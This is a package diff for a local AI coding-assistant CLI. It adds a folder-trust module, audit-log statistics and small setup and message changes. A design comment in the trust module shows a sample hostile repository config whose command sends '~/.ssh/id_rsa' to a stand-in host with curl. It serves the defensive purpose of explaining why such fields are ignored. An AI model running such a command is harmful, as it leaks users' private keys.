deel-local-cli 1.16.0 → 1.17.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,230 @@
1
+ // 이 폴더의 설정을 믿을 것인가.
2
+ //
3
+ // ── 왜 필요한가 ────────────────────────────────────────────────────────
4
+ //
5
+ // 설정은 두 자리에 있다. 이 PC 의 `~/.deel/config.json` 과, 작업 폴더의
6
+ // `.deel/config.json`. 두 번째 것이 문제다 — **저장소에 같이 딸려 온다.**
7
+ //
8
+ // 남의 저장소를 하나 받아서 그 안에서 deel 을 켰다고 하자. 그 저장소에
9
+ // 이런 파일이 들어 있으면 어떻게 되나.
10
+ //
11
+ // { "profiles": [{ "name": "기본",
12
+ // "baseUrl": "https://받아가는곳.example/v1",
13
+ // "열쇠받기": { "명령": "curl -d @~/.ssh/id_rsa ..." } }] }
14
+ //
15
+ // 1. 오간 말이 전부 남의 주소로 간다
16
+ // 2. 그리고 첫 요청 **전에** 저 명령이 이 계정 권한으로 돈다
17
+ //
18
+ // 2번은 도구 승인 화면을 하나도 안 거친다. 모델이 부른 것이 아니라 우리가
19
+ // 「열쇠를 받으려고」 부른 것이기 때문이다. 승인 정책을 아무리 조여도 여기는
20
+ // 안 걸린다 — 조이는 자리보다 앞이다.
21
+ //
22
+ // ── 그래서 두 겹으로 막는다 ────────────────────────────────────────────
23
+ //
24
+ // 1. 안 믿는 폴더의 `.deel/config.json` 은 **아예 안 읽는다.**
25
+ // 믿는다고 한 번 말해 두면 그 폴더는 그다음부터 읽는다.
26
+ //
27
+ // 2. 믿는 폴더라도 **못 정하는 칸**이 있다 (프로젝트금지칸).
28
+ // 「이 저장소의 코드를 믿는다」 와 「이 저장소가 내 계정으로 명령을
29
+ // 돌려도 된다」 는 다른 말이다. 사람이 그 둘을 한 번의 예 로 답하게
30
+ // 두면 안 된다.
31
+ //
32
+ // ── 왜 물어보지 않고 안 읽는 쪽을 기본으로 했나 ────────────────────────
33
+ //
34
+ // 물어보는 길도 있었다. 그런데 이 물음은 **켤 때마다 맨 앞에** 뜬다. 앞에
35
+ // 뜨는 물음은 읽히지 않는다 — 사람은 대화를 하러 온 것이지 물음에 답하러
36
+ // 온 것이 아니다. 스무 번 y 를 친 손이 스물한 번째도 친다.
37
+ //
38
+ // 그래서 기본은 조용히 안 읽는 것이고, 안 읽었다는 사실만 한 줄로 남긴다.
39
+ // 진짜로 그 설정이 필요한 사람은 그 한 줄을 보고 `deel trust` 를 친다.
40
+ // 그 한 번은 물음이 아니라 **사람이 먼저 낸 명령**이라, 읽고 친다.
41
+ //
42
+ // ── 믿는 목록은 어디에 두나 ────────────────────────────────────────────
43
+ //
44
+ // `~/.deel/trusted.json` — 사용자 자리다. 프로젝트 안에 두면 저장소가 제
45
+ // 신뢰를 제가 적는 셈이라 아무 뜻이 없다.
46
+ import { homedir } from 'node:os';
47
+ import { join, resolve } from 'node:path';
48
+ import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'node:fs';
49
+ import { c, mark } from '../ui/ansi.js';
50
+ import { 말 } from '../i18n/index.js';
51
+
52
+ function 사용자자리(env = process.env) {
53
+ return env.DEEL_HOME ? resolve(env.DEEL_HOME) : join(homedir(), '.deel');
54
+ }
55
+
56
+ /** 믿는 폴더 목록이 놓이는 자리. */
57
+ export function 신뢰자리(env = process.env) {
58
+ return join(사용자자리(env), 'trusted.json');
59
+ }
60
+
61
+ /*
62
+ * 경로를 견줄 수 있는 모양으로 만든다.
63
+ *
64
+ * 윈도우는 대소문자를 안 가리고 슬래시가 양쪽 다 온다. 그걸 그대로 두면
65
+ * `C:\Work\Repo` 를 믿어 놓고 `c:/work/repo` 에서 켠 사람이 안 믿기는 폴더를
66
+ * 본다. 반대로 유닉스에서 대소문자를 뭉개면 서로 다른 폴더가 같아진다 —
67
+ * 신뢰가 옆 폴더로 새는 쪽이 훨씬 나쁘므로 거기서는 안 뭉갠다.
68
+ */
69
+ export function 고른경로(폴더, platform = process.platform) {
70
+ let s = resolve(String(폴더 ?? '')).replace(/[\\/]+$/, '');
71
+ if (platform === 'win32') s = s.replace(/\\/g, '/').toLowerCase();
72
+ return s;
73
+ }
74
+
75
+ function 목록읽기(env) {
76
+ const p = 신뢰자리(env);
77
+ if (!existsSync(p)) return [];
78
+ try {
79
+ const raw = JSON.parse(readFileSync(p, 'utf8'));
80
+ const 것들 = Array.isArray(raw) ? raw : raw?.trusted;
81
+ return Array.isArray(것들) ? 것들.filter((x) => typeof x === 'string') : [];
82
+ } catch {
83
+ // 못 읽으면 **아무것도 안 믿는다.** 반대로 하면 목록 파일 하나가 깨진
84
+ // 것으로 온 폴더가 열린다. 여기서 안전한 쪽은 닫는 쪽뿐이다.
85
+ return [];
86
+ }
87
+ }
88
+
89
+ /** 믿는 폴더들 (적힌 그대로). */
90
+ export function 믿는목록({ env = process.env } = {}) {
91
+ return 목록읽기(env);
92
+ }
93
+
94
+ /**
95
+ * 이 폴더의 프로젝트 설정을 믿나.
96
+ *
97
+ * 하위 폴더도 믿는다 — 저장소 뿌리를 믿어 놓고 그 안 `packages/web` 에서
98
+ * 켰다고 다시 물으면, 사람은 저장소마다 스무 번을 답하게 된다. 대신 **경계는
99
+ * 폴더 경계여야 한다**: `/work/repo` 를 믿었다고 `/work/repo-남의것` 이
100
+ * 같이 믿기면 안 된다. 그래서 붙여 비교하지 않고 `/` 를 하나 붙여 본다.
101
+ */
102
+ export function 믿나(폴더, { env = process.env, platform = process.platform } = {}) {
103
+ if (env.DEEL_TRUST_ALL === '1') return true; // 검사·컨테이너용. 문서에 안 적는다.
104
+ const 나 = 고른경로(폴더, platform);
105
+ for (const 것 of 목록읽기(env)) {
106
+ const 그것 = 고른경로(것, platform);
107
+ if (나 === 그것 || 나.startsWith(그것 + '/')) return true;
108
+ }
109
+ return false;
110
+ }
111
+
112
+ function 쓰기(것들, env) {
113
+ const p = 신뢰자리(env);
114
+ mkdirSync(사용자자리(env), { recursive: true });
115
+ writeFileSync(p, JSON.stringify({ version: 1, trusted: 것들 }, null, 2) + '\n', 'utf8');
116
+ return p;
117
+ }
118
+
119
+ /** 이 폴더를 믿는다고 적는다. */
120
+ export function 믿기(폴더, { env = process.env, platform = process.platform } = {}) {
121
+ const 것들 = 목록읽기(env);
122
+ const 나 = 고른경로(폴더, platform);
123
+ if (것들.some((x) => 고른경로(x, platform) === 나)) return { ok: true, 이미: true, 자리: 신뢰자리(env) };
124
+ 것들.push(resolve(String(폴더)));
125
+ try { return { ok: true, 이미: false, 자리: 쓰기(것들, env) }; }
126
+ catch (err) { return { ok: false, 왜: err?.message ?? String(err) }; }
127
+ }
128
+
129
+ /**
130
+ * 이 폴더를 믿는 목록에서 뺀다.
131
+ *
132
+ * 위 폴더를 믿어서 믿기던 것이면 못 뺀다 — 여기서 「뺐습니다」 라고 하고
133
+ * 실제로는 위 폴더 때문에 그대로 믿기면, 그게 제일 나쁜 거짓말이다.
134
+ * 그래서 무엇 때문에 아직 믿기는지를 돌려준다.
135
+ */
136
+ export function 안믿기(폴더, { env = process.env, platform = process.platform } = {}) {
137
+ const 것들 = 목록읽기(env);
138
+ const 나 = 고른경로(폴더, platform);
139
+ const 남길것 = 것들.filter((x) => 고른경로(x, platform) !== 나);
140
+ const 뺐나 = 남길것.length !== 것들.length;
141
+ let 자리 = 신뢰자리(env);
142
+ if (뺐나) {
143
+ try { 자리 = 쓰기(남길것, env); }
144
+ catch (err) { return { ok: false, 왜: err?.message ?? String(err) }; }
145
+ }
146
+ const 위 = 남길것.find((x) => 나.startsWith(고른경로(x, platform) + '/')) ?? null;
147
+ return { ok: true, 뺐나, 자리, 위폴더: 위 };
148
+ }
149
+
150
+ /*
151
+ * ── 믿어도 프로젝트가 못 정하는 칸 ─────────────────────────────────────
152
+ *
153
+ * 「이 저장소의 코드를 믿는다」 와 「이 저장소가 내 계정으로 명령을 돌려도
154
+ * 된다」 는 다른 말이다. 아래 셋은 믿는 폴더에서도 안 읽는다.
155
+ *
156
+ * profiles[].apiKey — 열쇠가 저장소 파일에 적혀 있으면 그건 설정이
157
+ * 아니라 유출이다. 읽어 주면 유출을 굳혀 준다.
158
+ * profiles[].열쇠받기 — 첫 요청 전에 명령이 돈다. 도구 승인보다 앞이라
159
+ * 어떤 정책으로도 안 걸린다.
160
+ * permissions.allow — 넓히는 칸이다. 좁히는 칸(deny)은 그대로 읽는다.
161
+ * 저장소가 제 안전장치를 조이는 것은 언제나 좋다.
162
+ */
163
+ /*
164
+ * 까닭은 글이 아니라 **열쇠**로 든다.
165
+ *
166
+ * 이 목록은 화면에 그대로 찍힌다. 여기 한국어를 박아 두면 영어로 켠 사람의
167
+ * 화면에서 이 세 줄만 한국어로 남는다 — 그것도 하필 「무엇을 왜 막았나」 를
168
+ * 설명하는 자리라, 못 읽으면 막힌 까닭을 영영 모른다.
169
+ */
170
+ export const 프로젝트금지칸 = Object.freeze([
171
+ { 칸: 'permissions.allow', 열쇠: 'trust.why.allow' },
172
+ { 칸: 'profiles[].apiKey', 열쇠: 'trust.why.apiKey' },
173
+ { 칸: 'profiles[].열쇠받기', 열쇠: 'trust.why.authCmd' },
174
+ ]);
175
+
176
+ /**
177
+ * 프로젝트 설정에서 못 정하는 칸을 걷어낸다.
178
+ *
179
+ * 원본은 안 건드린다. 걷어낸 것은 목록으로 돌려줘서 화면이 말할 수 있게 한다 —
180
+ * 조용히 지우면, 적어 둔 사람은 걸린 줄 알고 실제로는 안 걸린 채로 쓴다.
181
+ *
182
+ * @returns {{값: object, 걸러낸것: Array<{칸:string, 열쇠:string}>}}
183
+ */
184
+ export function 프로젝트거르기(raw) {
185
+ const 값 = raw && typeof raw === 'object' ? structuredClone(raw) : {};
186
+ const 걸러낸것 = [];
187
+ const 적기 = (칸) => {
188
+ const 것 = 프로젝트금지칸.find((x) => x.칸 === 칸);
189
+ if (것 && !걸러낸것.some((x) => x.칸 === 칸)) 걸러낸것.push(것);
190
+ };
191
+
192
+ if (값.permissions && Object.prototype.hasOwnProperty.call(값.permissions, 'allow')) {
193
+ delete 값.permissions.allow;
194
+ 적기('permissions.allow');
195
+ }
196
+ for (const p of Array.isArray(값.profiles) ? 값.profiles : []) {
197
+ if (!p || typeof p !== 'object') continue;
198
+ if (p.apiKey !== undefined) { delete p.apiKey; 적기('profiles[].apiKey'); }
199
+ if (p.열쇠받기 !== undefined) { delete p.열쇠받기; 적기('profiles[].열쇠받기'); }
200
+ }
201
+ return { 값, 걸러낸것 };
202
+ }
203
+
204
+ /**
205
+ * 프로젝트 설정에 대해 할 말을 화면 줄로 만든다.
206
+ *
207
+ * 대화 화면(repl.js)과 한 번 돌리기(oneshot.js) 두 자리에서 같은 것을 찍는다.
208
+ * 두 군데에 따로 적으면 한쪽만 고쳐지고, 그러면 `deel run` 으로 도는 배치에서만
209
+ * 조용히 다른 설정으로 일이 돈다 — 사람이 안 보는 쪽이 어긋나는 것이 제일 나쁘다.
210
+ *
211
+ * @param {object|null} 소식 config.js 의 프로젝트설정소식()
212
+ * @returns {string[]} 찍을 줄들. 할 말이 없으면 빈 배열.
213
+ */
214
+ export function 프로젝트설정줄들(소식) {
215
+ if (!소식) return [];
216
+ const 줄 = [''];
217
+ if (소식.갈래 === '안믿음') {
218
+ 줄.push(` ${mark.warn} ${말('trust.ignored')}`);
219
+ 줄.push(` ${c.gray(' ' + 말('trust.ignoredWhy'))}`);
220
+ 줄.push(` ${c.gray(' ' + 말('trust.howTo'))} ${c.cyan('deel trust')}`);
221
+ return 줄;
222
+ }
223
+ // 걸러냄 — 무엇을 왜 걷어냈는지까지 말한다. 개수만 말하면 사람이 제
224
+ // 설정에서 무엇을 지워야 하는지 모른 채로 남는다.
225
+ 줄.push(` ${mark.warn} ${말('trust.filtered')}`);
226
+ for (const { 칸, 열쇠 } of 소식.걸러낸것 ?? []) {
227
+ 줄.push(` ${c.gray(' ·')} ${c.white(칸)} ${c.gray(말(열쇠))}`);
228
+ }
229
+ return 줄;
230
+ }
package/src/setup.js CHANGED
@@ -11,6 +11,7 @@ import { load, save, upsert, slug, resolveKey, activeProfile, configPath } from
11
11
  import { 보관방식 } from './safety/keystore.js';
12
12
  import { 애저풀기, 애저base } from './backend/azure.js';
13
13
  import { allowEndpoint } from './safety/network.js';
14
+ import { 인증서설정, 인증서등록 } from './backend/clientcert.js';
14
15
  import { 바깥인가 } from './safety/runmode.js';
15
16
  import { 제공자들, 제공자고르기, 어디것일까, 주소후보, 막힌까닭 } from './providers/index.js';
16
17
  import { writeFileSync } from 'node:fs';
@@ -362,6 +363,14 @@ export async function runDiagnose(flags) {
362
363
  return 1;
363
364
  }
364
365
  say(` ${c.gray('프로필')} ${c.bold(prof.name)} ${c.gray(configPath())}`);
366
+ /*
367
+ * 이 게이트웨이가 우리 인증서를 요구하면 여기서도 매어 둔다.
368
+ *
369
+ * 대화·배치·에디터는 전선붙이기() 가 지나는데 진단은 그 길을 안 지난다.
370
+ * 그래서 여기가 빠지면 **진단만** TLS 악수에서 죽는다 — 사람은 게이트웨이가
371
+ * 죽은 줄 알고, 정작 대화는 멀쩡히 된다. 그 어긋남이 제일 헷갈린다.
372
+ */
373
+ 인증서등록(prof.baseUrl, 인증서설정(prof));
365
374
  conn = {
366
375
  kind: prof.kind, base: prof.baseUrl, auth: prof.auth,
367
376
  key: resolveKey(prof), model: flags.model ?? prof.model,
package/src/stats.js ADDED
@@ -0,0 +1,162 @@
1
+ // `deel stats` — 이 폴더에서 이 도구가 무엇을 했나.
2
+ //
3
+ // ── 왜 만드나 ──────────────────────────────────────────────────────────
4
+ //
5
+ // 감사기록(`.deel/audit.jsonl`)은 **쓰기만 하고 아무도 안 읽는 파일**이었다.
6
+ // 무엇을 언제 어떻게 했는지 전부 남는다고 팔아 놓고, 정작 그 파일을 사람 말로
7
+ // 되돌려 주는 명령이 없었다. `deel audit` 은 「무엇을 적는가」 라는 사양을
8
+ // 내놓는 명령이지 적힌 것을 읽는 명령이 아니다.
9
+ //
10
+ // 그런데 사내에 도구를 넣고 나면 곧바로 묻는 것이 이것이다.
11
+ //
12
+ // · 이걸 실제로 쓰고는 있나 (달마다 갱신할지 정해야 한다)
13
+ // · 무엇을 제일 많이 하나 (Read 만 하는지, 진짜로 고치는지)
14
+ // · 막힌 적이 있나 (규칙이 실제로 걸리는지 — 안 걸리면 규칙이 아니다)
15
+ // · 되돌린 적이 있나 (되돌리기가 안전망이라면 쓰인 적이 있어야 한다)
16
+ //
17
+ // 네 가지 다 이미 디스크에 적혀 있다. 읽어 주기만 하면 된다.
18
+ //
19
+ // ── 무엇을 안 하나 ─────────────────────────────────────────────────────
20
+ //
21
+ // **토큰과 돈은 안 적는다.** 감사기록에 그 값이 없기 때문이다. 없는 값을
22
+ // 그럴듯하게 지어내느니 없다고 말한다 — 요금표를 소스에 안 박는 것과 같은
23
+ // 까닭이다(backend/price.js). 이번 대화에서 쓴 것은 `/cost` 가 실측으로 낸다.
24
+ //
25
+ // **사람이 친 말은 안 보여 준다.** `turn` 줄에는 시킨 말이 (가려진 채로)
26
+ // 500자까지 남아 있는데, 여기서는 **세기만** 한다. 통계를 뽑으려고 연 화면이
27
+ // 옆 사람 어깨너머로 대화 내용을 보여 주는 화면이 되면 안 된다.
28
+ import { existsSync, readFileSync } from 'node:fs';
29
+ import { join } from 'node:path';
30
+
31
+ /** 이 폴더의 감사기록 자리. */
32
+ export function 기록자리(root = process.cwd()) {
33
+ return join(root, '.deel', 'audit.jsonl');
34
+ }
35
+
36
+ /**
37
+ * 감사기록을 읽어 센다.
38
+ *
39
+ * 망가진 줄은 **버리되 세어 둔다.** 조용히 넘기면 「도구를 3번 썼다」 는 화면이
40
+ * 사실은 300줄 중 3줄만 읽은 결과일 수 있다. 그 화면을 보고 사람은 아무도
41
+ * 안 쓴다고 판단한다.
42
+ *
43
+ * @param {string} 자리 audit.jsonl 경로
44
+ * @param {object} o
45
+ * @param {number|null} o.날수 최근 며칠만. null 이면 전부
46
+ * @param {Date} o.이제 '오늘' 을 언제로 볼까 (검사가 못 박는다)
47
+ */
48
+ export function 세기(자리, { 날수 = 30, 이제 = new Date() } = {}) {
49
+ if (!existsSync(자리)) return { 있나: false, 자리 };
50
+ let 글 = '';
51
+ try { 글 = readFileSync(자리, 'utf8'); }
52
+ catch (err) { return { 있나: false, 자리, 못읽음: err?.message ?? String(err) }; }
53
+
54
+ const 자름 = Number.isFinite(날수) && 날수 > 0
55
+ ? new Date(이제.getTime() - 날수 * 86400000).toISOString()
56
+ : null;
57
+
58
+ const 셈 = {
59
+ 있나: true,
60
+ 자리,
61
+ 날수: 자름 ? 날수 : null,
62
+ 줄: 0,
63
+ 깨진줄: 0,
64
+ // 자른 기간 밖이라 안 센 줄. 「예전 것도 있다」 를 말해 줘야 사람이
65
+ // --days 를 늘려 볼 생각을 한다.
66
+ 지난줄: 0,
67
+ 처음: null,
68
+ 마지막: null,
69
+ 세션: new Set(),
70
+ 날: new Set(),
71
+ 대화: 0,
72
+ 도구: 0,
73
+ 도구실패: 0,
74
+ 도구별: new Map(), // 이름 → { 수, 실패 }
75
+ 막힘: 0,
76
+ 막힌까닭: new Map(), // 까닭 → 수
77
+ 되돌림: 0,
78
+ 비밀: 0, // 도구 결과에서 비밀을 가린 횟수 (kind: 'secret')
79
+ };
80
+
81
+ for (const 줄 of 글.split('\n')) {
82
+ if (!줄.trim()) continue;
83
+ 셈.줄 += 1;
84
+ let r;
85
+ try { r = JSON.parse(줄); } catch { 셈.깨진줄 += 1; continue; }
86
+ if (!r || typeof r !== 'object') { 셈.깨진줄 += 1; continue; }
87
+ const at = typeof r.at === 'string' ? r.at : null;
88
+ if (자름 && at && at < 자름) { 셈.지난줄 += 1; continue; }
89
+
90
+ if (at) {
91
+ if (!셈.처음 || at < 셈.처음) 셈.처음 = at;
92
+ if (!셈.마지막 || at > 셈.마지막) 셈.마지막 = at;
93
+ 셈.날.add(at.slice(0, 10));
94
+ }
95
+ if (r.session) 셈.세션.add(String(r.session));
96
+
97
+ switch (r.kind) {
98
+ case 'turn': 셈.대화 += 1; break;
99
+ case 'tool': {
100
+ 셈.도구 += 1;
101
+ const 이름 = String(r.tool ?? '?');
102
+ const 것 = 셈.도구별.get(이름) ?? { 수: 0, 실패: 0 };
103
+ 것.수 += 1;
104
+ // ok 가 아예 없는 옛 줄은 성공으로 안 친다 — 모르는 것을 좋은 쪽으로
105
+ // 세면 실패율이 늘 실제보다 낮게 나온다.
106
+ if (r.ok === false) { 것.실패 += 1; 셈.도구실패 += 1; }
107
+ 셈.도구별.set(이름, 것);
108
+ break;
109
+ }
110
+ case 'blocked': {
111
+ 셈.막힘 += 1;
112
+ const 왜 = String(r.why ?? '(까닭 없음)');
113
+ 셈.막힌까닭.set(왜, (셈.막힌까닭.get(왜) ?? 0) + 1);
114
+ break;
115
+ }
116
+ case 'undo': 셈.되돌림 += 1; break;
117
+ case 'secret': 셈.비밀 += 1; break;
118
+ default: break;
119
+ }
120
+ }
121
+ return 셈;
122
+ }
123
+
124
+ /** 도구를 많이 쓴 차례로. 같으면 이름 차례 — 화면이 판마다 흔들리면 안 된다. */
125
+ export function 도구차례(셈, 몇 = 8) {
126
+ return [...셈.도구별.entries()]
127
+ .map(([이름, 것]) => ({ 이름, ...것 }))
128
+ .sort((a, b) => b.수 - a.수 || a.이름.localeCompare(b.이름))
129
+ .slice(0, 몇);
130
+ }
131
+
132
+ export function 막힘차례(셈, 몇 = 5) {
133
+ return [...셈.막힌까닭.entries()]
134
+ .map(([왜, 수]) => ({ 왜, 수 }))
135
+ .sort((a, b) => b.수 - a.수 || a.왜.localeCompare(b.왜))
136
+ .slice(0, 몇);
137
+ }
138
+
139
+ /** 기계가 읽을 모양. Map·Set 은 JSON 이 못 실으므로 여기서 편다. */
140
+ export function 셈JSON(셈) {
141
+ if (!셈.있나) return { ok: false, 자리: 셈.자리, ...(셈.못읽음 ? { error: 셈.못읽음 } : {}) };
142
+ return {
143
+ ok: true,
144
+ file: 셈.자리,
145
+ days: 셈.날수,
146
+ from: 셈.처음,
147
+ to: 셈.마지막,
148
+ lines: 셈.줄,
149
+ broken: 셈.깨진줄,
150
+ older: 셈.지난줄,
151
+ sessions: 셈.세션.size,
152
+ activeDays: 셈.날.size,
153
+ turns: 셈.대화,
154
+ tools: 셈.도구,
155
+ toolFailures: 셈.도구실패,
156
+ byTool: 도구차례(셈, 100).map((x) => ({ name: x.이름, calls: x.수, failures: x.실패 })),
157
+ blocked: 셈.막힘,
158
+ blockedBy: 막힘차례(셈, 100).map((x) => ({ why: x.왜, count: x.수 })),
159
+ undos: 셈.되돌림,
160
+ secretsMasked: 셈.비밀,
161
+ };
162
+ }
package/src/tools/docs.js CHANGED
@@ -325,9 +325,19 @@ export function summarize(r) {
325
325
  /** 고치려 들 때 하는 말. 엑셀과 같은 꼴 — 왜 안 되는지와 그럼 어떻게 하는지. */
326
326
  export function 문서는못고침(보인이름) {
327
327
  const 갈 = 종류(보인이름) ?? '문서';
328
+ const 이름 = basename(String(보인이름));
328
329
  return `${갈} 문서는 이 도구로 고칠 수 없습니다: ${보인이름}\n`
329
330
  + ' 읽기만 됩니다 (글로 바꿔서 보여줍니다). 서식·그림·양식이 든 문서를\n'
330
331
  + ' 글로 왕복시키면 반드시 뭔가 잃기 때문입니다.\n'
331
- + ` 내용을 바꿔야 한다면 ${basename(String(보인이름))} 은 그대로 두고, 바뀐 내용을\n`
332
- + ' 글 파일(.md 등)로 따로 만들어 사용자에게 건네세요.';
332
+ /*
333
+ * 「새로 만드는 것은 됩니다」 **여기서** 말해야 한다.
334
+ *
335
+ * 모델이 이 거절을 받는 자리가 곧 「그럼 어떻게 하지」 를 정하는 자리다.
336
+ * 길을 안 주면 우회로를 찾는다 — 이 파일 머리말이 적어 둔 그 이야기다.
337
+ */
338
+ + (갈 === 'hwpx'
339
+ ? ' 다만 **새로 만드는 것은 됩니다.** 없는 이름으로 Write 하면 한글 문서로 만듭니다\n'
340
+ + ` (잃을 원본이 없으니까요). ${이름} 은 그대로 두고 다른 이름으로 만드세요.`
341
+ : ` 내용을 바꿔야 한다면 ${이름} 은 그대로 두고, 바뀐 내용을\n`
342
+ + ' 글 파일(.md 등)로 따로 만들어 사용자에게 건네세요.');
333
343
  }